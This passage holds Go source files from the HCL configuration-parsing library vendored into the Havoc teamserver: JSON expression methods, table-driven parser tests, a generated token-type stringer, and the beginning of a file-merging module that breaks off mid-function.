hcl.AbsTraversalForExpr. func (e *expression) AsTraversal() hcl.Traversal { // In JSON-based syntax a traversal is given as a string containing // traversal syntax as defined by hclsyntax.ParseTraversalAbs. switch v := e.src.(type) { case *stringVal: traversal, diags := hclsyntax.ParseTraversalAbs([]byte(v.Value), v.SrcRange.Filename, v.SrcRange.Start) if diags.HasErrors() { return nil } return traversal default: return nil } } // Implementation for hcl.ExprCall. func (e *expression) ExprCall() *hcl.StaticCall { // In JSON-based syntax a static call is given as a string containing // an expression in the native syntax that also supports ExprCall. switch v := e.src.(type) { case *stringVal: expr, diags := hclsyntax.ParseExpression([]byte(v.Value), v.SrcRange.Filename, v.SrcRange.Start) if diags.HasErrors() { return nil } call, diags := hcl.ExprCall(expr) if diags.HasErrors() { return nil } return call default: return nil } } // Implementation for hcl.ExprList. func (e *expression) ExprList() []hcl.Expression { switch v := e.src.(type) { case *arrayVal: ret := make([]hcl.Expression, len(v.Values)) for i, node := range v.Values { ret[i] = &expression{src: node} } return ret default: return nil } } // Implementation for hcl.ExprMap. func (e *expression) ExprMap() []hcl.KeyValuePair { switch v := e.src.(type) { case *objectVal: ret := make([]hcl.KeyValuePair, len(v.Attrs)) for i, jsonAttr := range v.Attrs { ret[i] = hcl.KeyValuePair{ Key: &expression{src: &stringVal{ Value: jsonAttr.Name, SrcRange: jsonAttr.NameRange, }}, Value: &expression{src: jsonAttr.Value}, } } return ret default: return nil } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/structure_test.go000066400000000000000000001613261467014221700274250ustar00rootroot00000000000000package json import ( "fmt" "reflect" "strings" "testing" "github.com/davecgh/go-spew/spew" "github.com/go-test/deep" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func TestBodyPartialContent(t *testing.T) { tests := []struct { src string schema *hcl.BodySchema want *hcl.BodyContent diagCount int }{ { `{}`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, }, 0, }, { `[]`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[{}]`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[[]]`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 1, // elements of root array must be objects }, { `{"//": "comment that should be ignored"}`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 40, Byte: 39}, End: hcl.Pos{Line: 1, Column: 41, Byte: 40}, }, }, 0, }, { `{"//": "comment that should be ignored", "//": "another comment"}`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 65, Byte: 64}, End: hcl.Pos{Line: 1, Column: 66, Byte: 65}, }, }, 0, }, { `{"name":"Ermintrude"}`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "name", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{ "name": &hcl.Attribute{ Name: "name", Expr: &expression{ src: &stringVal{ Value: "Ermintrude", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 21, Byte: 20}, End: hcl.Pos{Line: 1, Column: 22, Byte: 21}, }, }, 0, }, { `[{"name":"Ermintrude"}]`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "name", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{ "name": &hcl.Attribute{ Name: "name", Expr: &expression{ src: &stringVal{ Value: "Ermintrude", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, End: hcl.Pos{ Byte: 21, Line: 1, Column: 22, }, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 21, Line: 1, Column: 22, }, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `{"name":"Ermintrude"}`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "name", Required: true, }, { Name: "age", Required: true, }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{ "name": &hcl.Attribute{ Name: "name", Expr: &expression{ src: &stringVal{ Value: "Ermintrude", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 21, Byte: 20}, End: hcl.Pos{Line: 1, Column: 22, Byte: 21}, }, }, 1, }, { `{"resource": null}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, // We don't find any blocks if the value is json null. Blocks: nil, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 18, Byte: 17}, End: hcl.Pos{Line: 1, Column: 19, Byte: 18}, }, }, 0, }, { `{"resource": { "nested": null }}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", LabelNames: []string{"name"}, }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: nil, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 32, Byte: 31}, End: hcl.Pos{Line: 1, Column: 33, Byte: 32}, }, }, 0, }, { `{"resource":{}}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: hcl.Blocks{ { Type: "resource", Labels: []string{}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 14, Line: 1, Column: 15, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 14, Line: 1, Column: 15, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{}, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 15, Byte: 14}, End: hcl.Pos{Line: 1, Column: 16, Byte: 15}, }, }, 0, }, { `{"resource":[{},{}]}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: hcl.Blocks{ { Type: "resource", Labels: []string{}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 15, Line: 1, Column: 16, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 14, Line: 1, Column: 15, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 14, Line: 1, Column: 15, }, End: hcl.Pos{ Byte: 15, Line: 1, Column: 16, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{}, }, { Type: "resource", Labels: []string{}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 16, Line: 1, Column: 17, }, End: hcl.Pos{ Byte: 18, Line: 1, Column: 19, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 16, Line: 1, Column: 17, }, End: hcl.Pos{ Byte: 17, Line: 1, Column: 18, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 17, Line: 1, Column: 18, }, End: hcl.Pos{ Byte: 18, Line: 1, Column: 19, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{}, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 20, Byte: 19}, End: hcl.Pos{Line: 1, Column: 21, Byte: 20}, }, }, 0, }, { `{"resource":{"foo_instance":{"bar":{}}}}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", LabelNames: []string{"type", "name"}, }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: hcl.Blocks{ { Type: "resource", Labels: []string{"foo_instance", "bar"}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 35, Line: 1, Column: 36, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 35, Line: 1, Column: 36, }, End: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 35, Line: 1, Column: 36, }, End: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{ { Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 27, Line: 1, Column: 28, }, }, { Filename: "test.json", Start: hcl.Pos{ Byte: 29, Line: 1, Column: 30, }, End: hcl.Pos{ Byte: 34, Line: 1, Column: 35, }, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 40, Byte: 39}, End: hcl.Pos{Line: 1, Column: 41, Byte: 40}, }, }, 0, }, { `{"resource":{"foo_instance":[{"bar":{}}, {"bar":{}}]}}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", LabelNames: []string{"type", "name"}, }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: hcl.Blocks{ { Type: "resource", Labels: []string{"foo_instance", "bar"}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 38, Line: 1, Column: 39, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, End: hcl.Pos{ Byte: 38, Line: 1, Column: 39, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{ { Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 27, Line: 1, Column: 28, }, }, { Filename: "test.json", Start: hcl.Pos{ Byte: 30, Line: 1, Column: 31, }, End: hcl.Pos{ Byte: 35, Line: 1, Column: 36, }, }, }, }, { Type: "resource", Labels: []string{"foo_instance", "bar"}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 38, Line: 1, Column: 39, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 36, Line: 1, Column: 37, }, End: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 37, Line: 1, Column: 38, }, End: hcl.Pos{ Byte: 38, Line: 1, Column: 39, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 48, Line: 1, Column: 49, }, End: hcl.Pos{ Byte: 49, Line: 1, Column: 50, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, LabelRanges: []hcl.Range{ { Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 27, Line: 1, Column: 28, }, }, { Filename: "test.json", Start: hcl.Pos{ Byte: 42, Line: 1, Column: 43, }, End: hcl.Pos{ Byte: 47, Line: 1, Column: 48, }, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 54, Byte: 53}, End: hcl.Pos{Line: 1, Column: 55, Byte: 54}, }, }, 0, }, { `{"name":"Ermintrude"}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "name", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 21, Byte: 20}, End: hcl.Pos{Line: 1, Column: 22, Byte: 21}, }, }, 1, // name is supposed to be a block }, { `[{"name":"Ermintrude"},{"name":"Ermintrude"}]`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "name", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{ "name": { Name: "name", Expr: &expression{ src: &stringVal{ Value: "Ermintrude", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 21, Line: 1, Column: 22, }, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 1, // "name" attribute is defined twice }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.src), func(t *testing.T) { file, diags := Parse([]byte(test.src), "test.json") if len(diags) != 0 { t.Fatalf("Parse produced diagnostics: %s", diags) } got, _, diags := file.Body.PartialContent(test.schema) if len(diags) != test.diagCount { t.Errorf("Wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf(" - %s", diag) } } for _, problem := range deep.Equal(got, test.want) { t.Error(problem) } }) } } func TestBodyContent(t *testing.T) { // We test most of the functionality already in TestBodyPartialContent, so // this test focuses on the handling of extraneous attributes. tests := []struct { src string schema *hcl.BodySchema diagCount int }{ { `{"unknown": true}`, &hcl.BodySchema{}, 1, }, { `{"//": "comment that should be ignored"}`, &hcl.BodySchema{}, 0, }, { `{"unknow": true}`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "unknown", }, }, }, 1, }, { `{"unknow": true, "unnown": true}`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "unknown", }, }, }, 2, }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.src), func(t *testing.T) { file, diags := Parse([]byte(test.src), "test.json") if len(diags) != 0 { t.Fatalf("Parse produced diagnostics: %s", diags) } _, diags = file.Body.Content(test.schema) if len(diags) != test.diagCount { t.Errorf("Wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf(" - %s", diag) } } }) } } func TestJustAttributes(t *testing.T) { // We test most of the functionality already in TestBodyPartialContent, so // this test focuses on the handling of extraneous attributes. tests := []struct { src string want hcl.Attributes diagCount int }{ { `{}`, map[string]*hcl.Attribute{}, 0, }, { `{"foo": true}`, map[string]*hcl.Attribute{ "foo": { Name: "foo", Expr: &expression{ src: &booleanVal{ Value: true, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 8, Line: 1, Column: 9}, End: hcl.Pos{Byte: 12, Line: 1, Column: 13}, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 1, Line: 1, Column: 2}, End: hcl.Pos{Byte: 12, Line: 1, Column: 13}, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 1, Line: 1, Column: 2}, End: hcl.Pos{Byte: 6, Line: 1, Column: 7}, }, }, }, 0, }, { `{"//": "comment that should be ignored"}`, map[string]*hcl.Attribute{}, 0, }, { `{"foo": true, "foo": true}`, map[string]*hcl.Attribute{ "foo": { Name: "foo", Expr: &expression{ src: &booleanVal{ Value: true, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 8, Line: 1, Column: 9}, End: hcl.Pos{Byte: 12, Line: 1, Column: 13}, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 1, Line: 1, Column: 2}, End: hcl.Pos{Byte: 12, Line: 1, Column: 13}, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Byte: 1, Line: 1, Column: 2}, End: hcl.Pos{Byte: 6, Line: 1, Column: 7}, }, }, }, 1, // attribute foo was already defined }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.src), func(t *testing.T) { file, diags := Parse([]byte(test.src), "test.json") if len(diags) != 0 { t.Fatalf("Parse produced diagnostics: %s", diags) } got, diags := file.Body.JustAttributes() if len(diags) != test.diagCount { t.Errorf("Wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf(" - %s", diag) } } if !reflect.DeepEqual(got, test.want) { t.Errorf("wrong result\ngot: %s\nwant: %s", spew.Sdump(got), spew.Sdump(test.want)) } }) } } func TestExpressionVariables(t *testing.T) { tests := []struct { Src string Want []hcl.Traversal }{ { `{"a":true}`, nil, }, { `{"a":"${foo}"}`, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 9, Byte: 8}, End: hcl.Pos{Line: 1, Column: 12, Byte: 11}, }, }, }, }, }, { `{"a":["${foo}"]}`, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 10, Byte: 9}, End: hcl.Pos{Line: 1, Column: 13, Byte: 12}, }, }, }, }, }, { `{"a":{"b":"${foo}"}}`, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 14, Byte: 13}, End: hcl.Pos{Line: 1, Column: 17, Byte: 16}, }, }, }, }, }, { `{"a":{"${foo}":"b"}}`, []hcl.Traversal{ { hcl.TraverseRoot{ Name: "foo", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 10, Byte: 9}, End: hcl.Pos{Line: 1, Column: 13, Byte: 12}, }, }, }, }, }, } for _, test := range tests { t.Run(test.Src, func(t *testing.T) { file, diags := Parse([]byte(test.Src), "test.json") if len(diags) != 0 { t.Fatalf("Parse produced diagnostics: %s", diags) } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Fatalf("JustAttributes produced diagnostics: %s", diags) } got := attrs["a"].Expr.Variables() if !reflect.DeepEqual(got, test.Want) { t.Errorf("wrong result\ngot: %s\nwant: %s", spew.Sdump(got), spew.Sdump(test.Want)) } }) } } func TestExpressionAsTraversal(t *testing.T) { e := &expression{ src: &stringVal{ Value: "foo.bar[0]", }, } traversal := e.AsTraversal() if len(traversal) != 3 { t.Fatalf("incorrect traversal %#v; want length 3", traversal) } } func TestStaticExpressionList(t *testing.T) { e := &expression{ src: &arrayVal{ Values: []node{ &stringVal{ Value: "hello", }, }, }, } exprs := e.ExprList() if len(exprs) != 1 { t.Fatalf("incorrect exprs %#v; want length 1", exprs) } if exprs[0].(*expression).src != e.src.(*arrayVal).Values[0] { t.Fatalf("wrong first expression node") } } func TestExpression_Value(t *testing.T) { src := `{ "string": "string_val", "number": 5, "bool_true": true, "bool_false": false, "array": ["a"], "object": {"key": "value"}, "null": null }` expected := map[string]cty.Value{ "string": cty.StringVal("string_val"), "number": cty.NumberIntVal(5), "bool_true": cty.BoolVal(true), "bool_false": cty.BoolVal(false), "array": cty.TupleVal([]cty.Value{cty.StringVal("a")}), "object": cty.ObjectVal(map[string]cty.Value{ "key": cty.StringVal("value"), }), "null": cty.NullVal(cty.DynamicPseudoType), } file, diags := Parse([]byte(src), "") if len(diags) != 0 { t.Errorf("got %d diagnostics on parse; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } for ek, ev := range expected { val, diags := attrs[ek].Expr.Value(&hcl.EvalContext{}) if len(diags) != 0 { t.Errorf("got %d diagnostics on eval; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if !val.RawEquals(ev) { t.Errorf("wrong result %#v; want %#v", val, ev) } } } // TestExpressionValue_Diags asserts that Value() returns diagnostics // from nested evaluations for complex objects (e.g. ObjectVal, ArrayVal) func TestExpressionValue_Diags(t *testing.T) { cases := []struct { name string src string expected cty.Value error string }{ { name: "string: happy", src: `{"v": "happy ${VAR1}"}`, expected: cty.StringVal("happy case"), }, { name: "string: unhappy", src: `{"v": "happy ${UNKNOWN}"}`, expected: cty.UnknownVal(cty.String), error: "Unknown variable", }, { name: "object_val: happy", src: `{"v": {"key": "happy ${VAR1}"}}`, expected: cty.ObjectVal(map[string]cty.Value{ "key": cty.StringVal("happy case"), }), }, { name: "object_val: unhappy", src: `{"v": {"key": "happy ${UNKNOWN}"}}`, expected: cty.ObjectVal(map[string]cty.Value{ "key": cty.UnknownVal(cty.String), }), error: "Unknown variable", }, { name: "object_key: happy", src: `{"v": {"happy ${VAR1}": "val"}}`, expected: cty.ObjectVal(map[string]cty.Value{ "happy case": cty.StringVal("val"), }), }, { name: "object_key: unhappy", src: `{"v": {"happy ${UNKNOWN}": "val"}}`, expected: cty.DynamicVal, error: "Unknown variable", }, { name: "array: happy", src: `{"v": ["happy ${VAR1}"]}`, expected: cty.TupleVal([]cty.Value{cty.StringVal("happy case")}), }, { name: "array: unhappy", src: `{"v": ["happy ${UNKNOWN}"]}`, expected: cty.TupleVal([]cty.Value{cty.UnknownVal(cty.String)}), error: "Unknown variable", }, } ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "VAR1": cty.StringVal("case"), }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { file, diags := Parse([]byte(c.src), "") if len(diags) != 0 { t.Errorf("got %d diagnostics on parse; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } t.FailNow() } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } t.FailNow() } val, diags := attrs["v"].Expr.Value(ctx) if c.error == "" && len(diags) != 0 { t.Errorf("got %d diagnostics on eval; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } t.FailNow() } else if c.error != "" && len(diags) == 0 { t.Fatalf("got 0 diagnostics on eval, want 1 with %s", c.error) } else if c.error != "" && len(diags) != 0 { if !strings.Contains(diags[0].Error(), c.error) { t.Fatalf("found error: %s; want %s", diags[0].Error(), c.error) } } if !val.RawEquals(c.expected) { t.Errorf("wrong result %#v; want %#v", val, c.expected) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/tokentype_string.go000066400000000000000000000015101467014221700277220ustar00rootroot00000000000000// Code generated by "stringer -type tokenType scanner.go"; DO NOT EDIT. package json import "strconv" const _tokenType_name = "tokenInvalidtokenCommatokenColontokenEqualstokenKeywordtokenNumbertokenStringtokenBrackOtokenBrackCtokenBraceOtokenBraceCtokenEOF" var _tokenType_map = map[tokenType]string{ 0: _tokenType_name[0:12], 44: _tokenType_name[12:22], 58: _tokenType_name[22:32], 61: _tokenType_name[32:43], 75: _tokenType_name[43:55], 78: _tokenType_name[55:66], 83: _tokenType_name[66:77], 91: _tokenType_name[77:88], 93: _tokenType_name[88:99], 123: _tokenType_name[99:110], 125: _tokenType_name[110:121], 9220: _tokenType_name[121:129], } func (i tokenType) String() string { if str, ok := _tokenType_map[i]; ok { return str } return "tokenType(" + strconv.FormatInt(int64(i), 10) + ")" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/merged.go000066400000000000000000000144541467014221700246170ustar00rootroot00000000000000package hcl import ( "fmt" ) // MergeFiles combines the given files to produce a single body that contains // configuration from all of the given files. // // The ordering of the given files decides the order in which contained // elements will be returned. If any top-level attributes are defined with // the same name across multiple files, a diagnostic will be produced from // the Content and PartialContent methods describing this error in a // user-friendly way. func MergeFiles(files []*File) Body { var bodies []Body for _, file := range files { bodies = append(bodies, file.Body) } return MergeBodies(bodies) } // MergeBodies is like MergeFiles except it deals directly with bodies, rather // than with entire files. func MergeBodies(bodies []Body) Body { if len(bodies) == 0 { // Swap out for our singleton empty body, to reduce the number of // empty slices we have hanging around. return emptyBody } // If any of the given bodies are already merged bodies, we'll unpack // to flatten to a single mergedBodies, since that's conceptually simpler. // This also, as a side-effect, eliminates any empty bodies, since // empties are merged bodies with no inner bodies. var newLen int var flatten bool for _, body := range bodies { if children, merged := body.(mergedBodies); merged { newLen += 